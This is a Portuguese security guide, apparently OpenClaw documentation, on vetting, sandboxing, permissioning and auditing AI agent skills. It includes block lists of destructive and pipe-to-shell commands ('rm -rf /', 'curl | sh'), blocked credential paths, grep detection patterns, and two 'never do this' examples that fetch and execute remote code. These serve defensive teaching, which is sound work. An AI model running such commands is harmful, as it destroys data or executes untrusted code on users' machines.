Segurança e Permissões
Boas práticas de segurança ao usar e criar skills no OpenClaw, incluindo permissões, sandboxing e auditoria.
📅 01 de February de 2026
⏱️ 4 min de leitura
Segurança de Skills
Skills são poderosos porque podem executar código e acessar recursos do sistema. Com grande poder vem grande responsabilidade.
⚠️ Modelo de Ameaças
Riscos de Skills Maliciosos
Um skill mal-intencionado poderia:
- 📤 Exfiltrar dados - Enviar arquivos pessoais para servidores externos
- 🗑️ Destruir dados - Deletar arquivos importantes
- 🔓 Escalar privilégios - Acessar recursos além do permitido
- 💰 Consumir recursos - API calls excessivas gerando custos
- 🕵️ Espionar - Capturar senhas, tokens, informações sensíveis
Vetores de Ataque
- Supply chain - Skill legítimo comprometido
- Typosquatting - Skill falso com nome similar
- Social engineering - Skill parece útil mas é malicioso
- Dependency confusion - Scripts que baixam código malicioso
🛡️ Boas Práticas para Usuários
Antes de Instalar um Skill
1. Verifique a Fonte
# Skills verificados são mais seguros
openclaw skill info nome-do-skill
# Verifique se tem badge de verificação
✅ Prefira skills:
- Do repositório oficial
- Com badge de verificação
- Com muitos downloads e avaliações
- De autores conhecidos
2. Leia o Código
Antes de usar um skill desconhecido:
# Extraia e leia
unzip skill.skill -d /tmp/skill-review
cat /tmp/skill-review/SKILL.md
ls -la /tmp/skill-review/scripts/
cat /tmp/skill-review/scripts/*.py
🔍 Red flags no código:
eval()ouexec()com input externo- Requests para URLs suspeitas
- Acesso a diretórios sensíveis (
~/.ssh,~/.aws) - Encoding/decoding estranho (possível ofuscação)
3. Teste em Sandbox
Para skills suspeitos, teste em ambiente isolado:
# Usando Docker
docker run -it --rm -v ~/clawd/skills:/skills alpine sh
# Ou VM descartável
Durante o Uso
Monitore Atividade de Rede
# macOS/Linux
sudo lsof -i -P | grep openclaw
# Ou use Little Snitch, LuLu, etc.
Limite Permissões
No config.yaml:
security:
# Restringir diretórios acessíveis
allowedPaths:
- ~/clawd
- ~/Documents
# Bloquear comandos perigosos
blockedCommands:
- rm -rf
- curl | sh
- wget | bash
# Modo sandbox
sandboxExec: true
Revogue Quando Não Usar
# Remova skills não utilizados
openclaw skill list
openclaw skill remove skill-nao-usado
🛡️ Boas Práticas para Criadores
Princípio do Menor Privilégio
Seu skill deve solicitar apenas o mínimo necessário:
# ❌ Ruim
metadata:
openclaw:
requires:
paths: ["~"] # Acesso a tudo
# ✅ Bom
metadata:
openclaw:
requires:
paths: ["~/Documents/projeto-x"] # Só o necessário
Evite Hardcoded Secrets
# ❌ NUNCA faça isso
API_KEY = "sk-abc123..."
# ✅ Use variáveis de ambiente
import os
API_KEY = os.environ.get("MY_API_KEY")
Valide Inputs
# ❌ Perigoso
def process_file(path):
return open(path).read()
# ✅ Seguro
def process_file(path):
safe_path = Path(path).resolve()
allowed_dir = Path.home() / "Documents"
if not str(safe_path).startswith(str(allowed_dir)):
raise ValueError("Path not allowed")
return safe_path.read_text()
Documente Permissões
No SKILL.md, seja transparente:
## Permissões Necessárias
Este skill precisa de:
- 📁 Acesso a ~/Documents/projetos
- 🌐 Conexão com api.exemplo.com
- 💾 Escrita em ~/.cache/meu-skill
**Por quê:** Explicação clara de cada permissão.
Não Execute Código Remoto
# ❌ NUNCA
exec(requests.get("https://example.com/code.py").text)
# ❌ NUNCA
os.system("curl https://example.com/script.sh | bash")
🔍 Auditoria de Skills
Checklist de Segurança
Antes de usar ou publicar um skill:
- Código revisado manualmente
- Sem hardcoded secrets
- Sem execução de código remoto
- Permissões mínimas necessárias
- Inputs validados e sanitizados
- Sem acesso a diretórios sensíveis desnecessário
- Conexões de rede documentadas
- Dependências conhecidas e confiáveis
Ferramentas de Análise
# Buscar padrões suspeitos
grep -r "eval\|exec\|system\|popen" scripts/
# Verificar URLs externas
grep -r "http" scripts/
# Checar acesso a paths sensíveis
grep -r "\.ssh\|\.aws\|\.gnupg" scripts/
🚨 Reportando Vulnerabilidades
Se encontrar um skill malicioso ou vulnerável:
No ClawHub
- Vá para a página do skill
- Clique em “Report Issue”
- Selecione “Security Vulnerability”
- Descreva o problema em detalhes
Por Email
- security@openclaw.ai
- Inclua: nome do skill, versão, descrição da vulnerabilidade
Disclosure Responsável
- Não publique a vulnerabilidade imediatamente
- Dê tempo para correção (30-90 dias)
- Coordene com mantenedores
- Publique após correção
📋 Configuração de Segurança
Exemplo de config.yaml Seguro
security:
# Modo de execução
sandboxExec: true
elevatedAllowed: false
# Paths permitidos
allowedPaths:
- ~/clawd
- ~/Documents
- /tmp/openclaw-*
# Paths bloqueados (sempre)
blockedPaths:
- ~/.ssh
- ~/.aws
- ~/.gnupg
- ~/.config/gcloud
# Comandos bloqueados
blockedCommands:
- rm -rf /
- rm -rf ~
- curl | sh
- wget | bash
- eval
# Domínios permitidos para requests
allowedDomains:
- api.openai.com
- api.anthropic.com
- wttr.in
- api.github.com
# Limites
maxTokensPerMinute: 100000
maxApiCallsPerHour: 1000
skills:
# Só skills verificados
verifiedOnly: true
# Auto-update com revisão
autoUpdate: prompt
Resumo
| Quem | Responsabilidade |
|---|---|
| Usuários | Verificar fonte, ler código, limitar permissões |
| Criadores | Menor privilégio, sem secrets, validar inputs |
| Comunidade | Reportar vulnerabilidades, revisar skills |